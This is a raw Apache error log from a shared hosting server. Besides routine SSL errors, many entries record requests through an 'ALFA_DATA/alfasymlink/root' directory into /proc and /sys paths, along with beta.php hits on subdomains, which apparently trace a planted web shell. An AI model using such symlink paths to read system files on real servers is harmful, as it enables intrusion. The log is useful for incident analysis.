[Tue Oct 27 11:05:10.156599 2026] [ssl:error] [pid 3249989:tid 3249989] (70014)End of file found: [client 34.235.239.240:14756] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:05:22.248189 2026] [ssl:error] [pid 3245441:tid 3245441] (70014)End of file found: [client 3.232.39.98:20551] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:05:34.140770 2026] [ssl:error] [pid 3254132:tid 3254132] (70014)End of file found: [client 3.89.170.186:35215] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:05:46.142716 2026] [ssl:error] [pid 3240911:tid 3240911] (70014)End of file found: [client 54.235.125.129:49749] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:05:58.158256 2026] [ssl:error] [pid 3250159:tid 3250159] (70014)End of file found: [client 34.197.28.78:22033] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:06:09.881584 2026] [ssl:error] [pid 3250159:tid 3250159] (70014)End of file found: [client 185.191.171.8:10930] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:06:14.409324 2026] [ssl:error] [pid 3250097:tid 3250097] (70014)End of file found: [client 44.195.50.71:34411] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:06:22.145081 2026] [ssl:error] [pid 3254132:tid 3254132] (70014)End of file found: [client 35.174.253.85:29404] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:06:26.202838 2026] [ssl:error] [pid 3240715:tid 3240715] (70014)End of file found: [client 52.71.216.196:64893] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:06:30.167793 2026] [ssl:error] [pid 3253959:tid 3253959] (70014)End of file found: [client 34.196.237.236:18635] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:06:34.225969 2026] [core:error] [pid 3254132:tid 3254132] (13)Permission denied: [client 44.196.118.6:10005] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input3/mouse1/device/subsystem/input5/subsystem/input0/device/driver/bind
[Tue Oct 27 11:06:35.583039 2026] [core:error] [pid 3249989:tid 3249989] (13)Permission denied: [client 85.208.96.196:59328] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/vm_area_struct/partial
[Tue Oct 27 11:06:35.583600 2026] [security2:error] [pid 3249989:tid 3249989] [client 85.208.96.196:59328] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/vm_area_struct/partial"] [unique_id "auC9-75EW6gHvzFBQQ3Z7gAAAAM"]
[Tue Oct 27 11:06:35.583656 2026] [security2:error] [pid 3249989:tid 3249989] [client 85.208.96.196:59328] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/vm_area_struct/partial"] [unique_id "auC9-75EW6gHvzFBQQ3Z7gAAAAM"]
[Tue Oct 27 11:06:50.126813 2026] [ssl:error] [pid 3249989:tid 3249989] (70014)End of file found: [client 52.23.112.144:6262] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:07:02.171427 2026] [ssl:error] [pid 3246081:tid 3246081] (70014)End of file found: [client 34.224.132.215:7837] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:07:06.138479 2026] [ssl:error] [pid 3254132:tid 3254132] (70014)End of file found: [client 184.72.95.195:60459] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:07:10.256493 2026] [core:error] [pid 3253913:tid 3253913] (13)Permission denied: [client 54.225.98.148:23362] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/bus/pnp/devices/00:00/firmware_node/subsystem/devices/device:06/physical_node/remove
[Tue Oct 27 11:07:14.133790 2026] [ssl:error] [pid 3253972:tid 3253972] (70014)End of file found: [client 52.6.5.24:1062] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:07:20.773114 2026] [ssl:error] [pid 3254132:tid 3254132] (70014)End of file found: [client 85.208.96.197:59450] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:07:46.200949 2026] [ssl:error] [pid 3249203:tid 3249203] (70014)End of file found: [client 52.204.37.237:2076] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:07:54.199857 2026] [core:error] [pid 3243694:tid 3243694] (13)Permission denied: [client 100.29.164.178:32112] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory15/subsystem/devices/memory20/node0/cpu0/crash_notes_size
[Tue Oct 27 11:07:58.650837 2026] [ssl:error] [pid 3253959:tid 3253959] (70014)End of file found: [client 100.28.118.16:6731] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:08:02.150788 2026] [ssl:error] [pid 3254132:tid 3254132] (70014)End of file found: [client 54.85.7.119:14123] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:08:06.143796 2026] [core:error] [pid 3253913:tid 3253913] (13)Permission denied: [client 54.90.8.255:12265] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory7/node0/memory3/subsystem/drivers_probe
[Tue Oct 27 11:08:22.119440 2026] [ssl:error] [pid 3253913:tid 3253913] (70014)End of file found: [client 34.192.67.98:47824] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:08:26.122035 2026] [ssl:error] [pid 3253959:tid 3253959] (70014)End of file found: [client 52.205.141.124:52776] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:08:26.925187 2026] [core:error] [pid 3245441:tid 3245441] (13)Permission denied: [client 185.191.171.18:50536] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/pci/drivers/xhci_hcd/unbind
[Tue Oct 27 11:08:38.687948 2026] [security2:error] [pid 3238313:tid 3238313] [client 107.172.76.131:60265] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auC-alIPfNLWYzT54QrxnwAAAAk"], referer: https://clic2.sherwinpinturas.com//beta.php
[Tue Oct 27 11:08:38.687994 2026] [security2:error] [pid 3238313:tid 3238313] [client 107.172.76.131:60265] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auC-alIPfNLWYzT54QrxnwAAAAk"], referer: https://clic2.sherwinpinturas.com//beta.php
[Tue Oct 27 11:08:42.136917 2026] [ssl:error] [pid 3245441:tid 3245441] (70014)End of file found: [client 44.193.115.232:27370] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:08:50.163921 2026] [ssl:error] [pid 3254132:tid 3254132] (70014)End of file found: [client 44.206.65.8:1340] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:08:54.212541 2026] [ssl:error] [pid 3245441:tid 3245441] (5)Input/output error: [client 44.195.50.71:15676] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:09:02.169677 2026] [ssl:error] [pid 3254132:tid 3254132] (70014)End of file found: [client 52.45.92.83:26929] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:09:06.263661 2026] [ssl:error] [pid 3240911:tid 3240911] (70014)End of file found: [client 23.23.212.212:41091] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:09:30.140946 2026] [ssl:error] [pid 3253972:tid 3253972] (70014)End of file found: [client 18.215.112.101:64930] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:09:42.177518 2026] [ssl:error] [pid 3243694:tid 3243694] (70014)End of file found: [client 34.233.114.237:62160] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:09:49.246972 2026] [security2:error] [pid 3238477:tid 3238477] [client 107.172.76.131:60275] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auC-sRKut9jdf6Y85ZJdZAAAABE"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Tue Oct 27 11:09:49.247029 2026] [security2:error] [pid 3238477:tid 3238477] [client 107.172.76.131:60275] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auC-sRKut9jdf6Y85ZJdZAAAABE"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Tue Oct 27 11:09:58.224350 2026] [ssl:error] [pid 3243694:tid 3243694] (70014)End of file found: [client 44.207.69.106:21281] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:10:10.471802 2026] [core:error] [pid 3253972:tid 3253972] (13)Permission denied: [client 3.94.156.104:58663] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory1/node0/cpu0/driver/cpu1/driver/unbind
[Tue Oct 27 11:10:14.264126 2026] [ssl:error] [pid 3240715:tid 3240715] (70014)End of file found: [client 3.219.81.66:7454] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:10:30.287967 2026] [core:error] [pid 3253913:tid 3253913] (13)Permission denied: [client 35.174.253.85:16650] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:15/subsystem/devices/device:0a/subsystem/devices/device:1d/eject
[Tue Oct 27 11:10:34.363688 2026] [ssl:error] [pid 3253959:tid 3253959] (70014)End of file found: [client 44.223.115.10:22224] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:10:38.873517 2026] [ssl:error] [pid 3253972:tid 3253972] (70014)End of file found: [client 34.206.249.188:47802] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:10:40.274797 2026] [core:error] [pid 3240715:tid 3240715] (13)Permission denied: [client 85.208.96.210:13066] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/hugetlbfs_inode_cache/trace
[Tue Oct 27 11:10:42.345486 2026] [ssl:error] [pid 3250097:tid 3250097] (70014)End of file found: [client 44.205.180.155:52493] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:10:50.545903 2026] [core:error] [pid 3253913:tid 3253913] (13)Permission denied: [client 18.215.24.66:36393] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory4/node0/cpu1/node0/memory21/subsystem/uevent
[Tue Oct 27 11:10:54.361263 2026] [core:error] [pid 3253959:tid 3253959] (13)Permission denied: [client 44.221.180.179:16778] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/PNP0303:00/physical_node1/drvctl
[Tue Oct 27 11:11:02.340914 2026] [ssl:error] [pid 3250097:tid 3250097] (70014)End of file found: [client 98.82.63.147:42693] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:11:14.378977 2026] [ssl:error] [pid 3240911:tid 3240911] (70014)End of file found: [client 184.73.195.18:50943] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:11:18.736688 2026] [ssl:error] [pid 3254483:tid 3254483] (70014)End of file found: [client 44.205.74.196:22850] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:11:24.914762 2026] [core:error] [pid 3254132:tid 3254132] (13)Permission denied: [client 85.208.96.203:40560] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_revoke_table_s/cpu_slabs
[Tue Oct 27 11:11:30.411437 2026] [core:error] [pid 3254499:tid 3254499] (13)Permission denied: [client 44.197.76.210:12477] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/drm/card0/device/firmware_node/physical_node/subsystem/drivers/virtio-pci/0000:00:03.0/resource1
[Tue Oct 27 11:11:50.562605 2026] [ssl:error] [pid 3250097:tid 3250097] (70014)End of file found: [client 54.204.12.115:7955] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:11:54.977504 2026] [core:error] [pid 3245436:tid 3245436] (13)Permission denied: [client 85.208.96.195:18266] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-8/destroy_by_rcu
[Tue Oct 27 11:12:02.456619 2026] [ssl:error] [pid 3243694:tid 3243694] (70014)End of file found: [client 54.159.18.27:9111] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:12:14.507500 2026] [ssl:error] [pid 3250097:tid 3250097] (70014)End of file found: [client 3.225.9.97:32800] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:12:18.618524 2026] [ssl:error] [pid 3254132:tid 3254132] (70014)End of file found: [client 52.4.229.9:8692] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:12:22.550323 2026] [ssl:error] [pid 3254499:tid 3254499] (70014)End of file found: [client 44.193.102.198:12093] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:12:30.339809 2026] [security2:error] [pid 3245437:tid 3245437] [client 107.172.76.131:60260] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auC_UmgdpW92b4rNnH0BKwAAAAg"], referer: https://bases1.sherwinpinturas.com/beta.php
[Tue Oct 27 11:12:30.339867 2026] [security2:error] [pid 3245437:tid 3245437] [client 107.172.76.131:60260] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auC_UmgdpW92b4rNnH0BKwAAAAg"], referer: https://bases1.sherwinpinturas.com/beta.php
[Tue Oct 27 11:12:30.808236 2026] [ssl:error] [pid 3253972:tid 3253972] (70014)End of file found: [client 44.206.93.215:63637] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:12:42.601410 2026] [ssl:error] [pid 3240911:tid 3240911] (70014)End of file found: [client 44.212.131.50:13901] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:12:46.658203 2026] [ssl:error] [pid 3252638:tid 3252638] (70014)End of file found: [client 54.162.69.192:39379] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:12:50.761501 2026] [ssl:error] [pid 3254499:tid 3254499] (70014)End of file found: [client 3.229.2.217:10753] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:12:54.658531 2026] [ssl:error] [pid 3250159:tid 3250159] (70014)End of file found: [client 3.219.81.66:43785] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:12:58.706631 2026] [ssl:error] [pid 3253972:tid 3253972] (70014)End of file found: [client 23.21.148.226:46418] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:13:07.504485 2026] [ssl:error] [pid 3254499:tid 3254499] (70014)End of file found: [client 52.204.253.129:25198] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:13:11.310007 2026] [ssl:error] [pid 3250159:tid 3250159] (70014)End of file found: [client 52.0.105.244:18677] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:13:12.264758 2026] [core:error] [pid 3253972:tid 3253972] (13)Permission denied: [client 144.76.19.24:38180] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2/syscall
[Tue Oct 27 11:13:15.030537 2026] [core:error] [pid 3240911:tid 3240911] (13)Permission denied: [client 54.197.114.76:24025] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/class/input/input0/device/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.3/rescan
[Tue Oct 27 11:13:19.003179 2026] [ssl:error] [pid 3254483:tid 3254483] (70014)End of file found: [client 52.207.47.227:25060] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:13:26.978518 2026] [ssl:error] [pid 3253972:tid 3253972] (70014)End of file found: [client 18.215.24.66:29584] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:13:31.015458 2026] [ssl:error] [pid 3240911:tid 3240911] (70014)End of file found: [client 184.72.84.154:45559] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:13:36.243123 2026] [security2:error] [pid 3253913:tid 3253913] [client 144.172.106.107:35496] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "64.20.54.226"] [uri "/"] [unique_id "auC_oOPngIqMe-cPac2iDAAAAAY"]
[Tue Oct 27 11:13:36.244390 2026] [authz_core:error] [pid 3253913:tid 3253913] [client 144.172.106.107:35496] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 11:13:38.984771 2026] [ssl:error] [pid 3253972:tid 3253972] (5)Input/output error: [client 18.207.79.144:10287] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:13:42.916087 2026] [ssl:error] [pid 3245441:tid 3245441] (70014)End of file found: [client 44.223.116.180:63792] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:13:47.049792 2026] [ssl:error] [pid 3240715:tid 3240715] (70014)End of file found: [client 23.21.227.240:41394] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:13:51.164430 2026] [ssl:error] [pid 3254132:tid 3254132] (70014)End of file found: [client 100.29.164.178:51018] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:13:58.985536 2026] [ssl:error] [pid 3240715:tid 3240715] (70014)End of file found: [client 3.89.170.186:54432] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:14:11.042807 2026] [ssl:error] [pid 3254499:tid 3254499] (70014)End of file found: [client 34.231.156.59:5805] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:14:15.072285 2026] [core:error] [pid 3245436:tid 3245436] (13)Permission denied: [client 18.214.251.19:21103] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:02/physical_node/subsystem/drivers/ata_piix/0000:00:01.1/driver/bind
[Tue Oct 27 11:14:31.095809 2026] [ssl:error] [pid 3245436:tid 3245436] (70014)End of file found: [client 98.84.70.201:2785] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:14:35.082135 2026] [core:error] [pid 3253959:tid 3253959] (13)Permission denied: [client 98.84.60.17:1833] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:02/physical_node/subsystem/drivers/ata_piix/0000:00:01.1/driver/unbind
[Tue Oct 27 11:14:43.386773 2026] [core:error] [pid 3245436:tid 3245436] (13)Permission denied: [client 34.194.95.99:65193] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/device:08/subsystem/uevent
[Tue Oct 27 11:14:47.094195 2026] [ssl:error] [pid 3243694:tid 3243694] (70014)End of file found: [client 54.90.8.255:6664] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:14:55.270915 2026] [ssl:error] [pid 3250159:tid 3250159] (5)Input/output error: [client 3.214.176.44:2221] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:14:59.231062 2026] [core:error] [pid 3240911:tid 3240911] (13)Permission denied: [client 18.232.12.157:42799] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/bus/pnp/devices/00:00/firmware_node/subsystem/devices/device:01/physical_node/rescan
[Tue Oct 27 11:15:19.313635 2026] [ssl:error] [pid 3253913:tid 3253913] (70014)End of file found: [client 3.89.170.186:30797] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:15:26.093098 2026] [core:error] [pid 3250159:tid 3250159] (13)Permission denied: [client 85.208.96.207:61996] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/PINGv6/shrink
[Tue Oct 27 11:15:27.439943 2026] [ssl:error] [pid 3240911:tid 3240911] (70014)End of file found: [client 54.243.63.52:6782] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:15:31.615797 2026] [ssl:error] [pid 3253913:tid 3253913] (70014)End of file found: [client 107.20.255.194:31539] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:15:59.542587 2026] [security2:error] [pid 3238315:tid 3238315] [client 54.163.136.244:43136] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event1/subsystem/input1/device/subsystem/drivers/atkbd/serio0/firmware_node/physical_node1/firmware_node/physical_node/power/"] [unique_id "auDAL3RXwUv1lMzx7uqwwwAAAA0"]
[Tue Oct 27 11:15:59.542650 2026] [security2:error] [pid 3238315:tid 3238315] [client 54.163.136.244:43136] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event1/subsystem/input1/device/subsystem/drivers/atkbd/serio0/firmware_node/physical_node1/firmware_node/physical_node/power/"] [unique_id "auDAL3RXwUv1lMzx7uqwwwAAAA0"]
[Tue Oct 27 11:16:07.758290 2026] [ssl:error] [pid 3245437:tid 3245437] (70014)End of file found: [client 44.197.76.210:45566] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:16:08.254595 2026] [ssl:error] [pid 3254483:tid 3254483] (70014)End of file found: [client 185.191.171.15:25336] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:16:09.031071 2026] [ssl:error] [pid 3245436:tid 3245436] (70014)End of file found: [client 185.191.171.15:25338] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:16:11.938585 2026] [ssl:error] [pid 3252021:tid 3252021] (70014)End of file found: [client 3.229.95.193:54054] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:16:15.638574 2026] [ssl:error] [pid 3254132:tid 3254132] (70014)End of file found: [client 44.197.76.210:64583] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:16:31.758153 2026] [ssl:error] [pid 3238315:tid 3238315] (70014)End of file found: [client 54.235.172.108:8092] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:16:35.678916 2026] [ssl:error] [pid 3243694:tid 3243694] (5)Input/output error: [client 185.191.171.12:14550] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:16:38.531852 2026] [ssl:error] [pid 3254483:tid 3254483] (5)Input/output error: [client 185.191.171.12:14564] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:16:39.711126 2026] [ssl:error] [pid 3245436:tid 3245436] (70014)End of file found: [client 52.204.81.148:26654] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:16:44.008476 2026] [ssl:error] [pid 3245437:tid 3245437] (70014)End of file found: [client 54.197.82.195:7668] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:16:52.202091 2026] [ssl:error] [pid 3254132:tid 3254132] (70014)End of file found: [client 100.24.167.60:56373] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:16:59.771894 2026] [ssl:error] [pid 3249203:tid 3249203] (70014)End of file found: [client 54.83.56.1:9820] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:17:11.799920 2026] [ssl:error] [pid 3253959:tid 3253959] (70014)End of file found: [client 54.235.158.162:63658] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:17:15.805964 2026] [ssl:error] [pid 3254483:tid 3254483] (70014)End of file found: [client 52.205.222.214:16448] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:17:23.855728 2026] [ssl:error] [pid 3254132:tid 3254132] (70014)End of file found: [client 3.222.85.38:26500] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:17:39.923413 2026] [ssl:error] [pid 3245698:tid 3245698] (70014)End of file found: [client 44.193.115.232:2097] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:17:43.860052 2026] [ssl:error] [pid 3253959:tid 3253959] (70014)End of file found: [client 44.207.207.36:47144] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:17:48.524480 2026] [security2:error] [pid 3252021:tid 3252021] [client 170.106.163.84:54940] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "curso-de-ventas.com"] [uri "/"] [unique_id "auDAnAj81rfZy5Te0h2VRAAAAAI"]
[Tue Oct 27 11:17:48.525609 2026] [authz_core:error] [pid 3252021:tid 3252021] [client 170.106.163.84:54940] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 11:17:55.889428 2026] [core:error] [pid 3254483:tid 3254483] (13)Permission denied: [client 54.235.191.179:12676] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:05/wakeup/wakeup5/device/subsystem/drivers/battery/uevent
[Tue Oct 27 11:18:07.954010 2026] [ssl:error] [pid 3249204:tid 3249204] (70014)End of file found: [client 3.219.80.71:60385] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:18:11.861775 2026] [ssl:error] [pid 3245698:tid 3245698] (70014)End of file found: [client 23.22.105.143:26761] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:18:15.753874 2026] [core:error] [pid 3256317:tid 3256317] (13)Permission denied: [client 50.16.216.166:50822] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input3/subsystem/input0/device/subsystem/devices/device:04/physical_node/firmware_node/eject
[Tue Oct 27 11:18:23.697226 2026] [security2:error] [pid 3245437:tid 3245437] [client 52.45.29.57:46733] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/PNP0A03:00/physical_node/0000:00:03.0/virtio0/"] [unique_id "auDAv2gdpW92b4rNnH0BPwAAAAg"]
[Tue Oct 27 11:18:23.697274 2026] [security2:error] [pid 3245437:tid 3245437] [client 52.45.29.57:46733] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/PNP0A03:00/physical_node/0000:00:03.0/virtio0/"] [unique_id "auDAv2gdpW92b4rNnH0BPwAAAAg"]
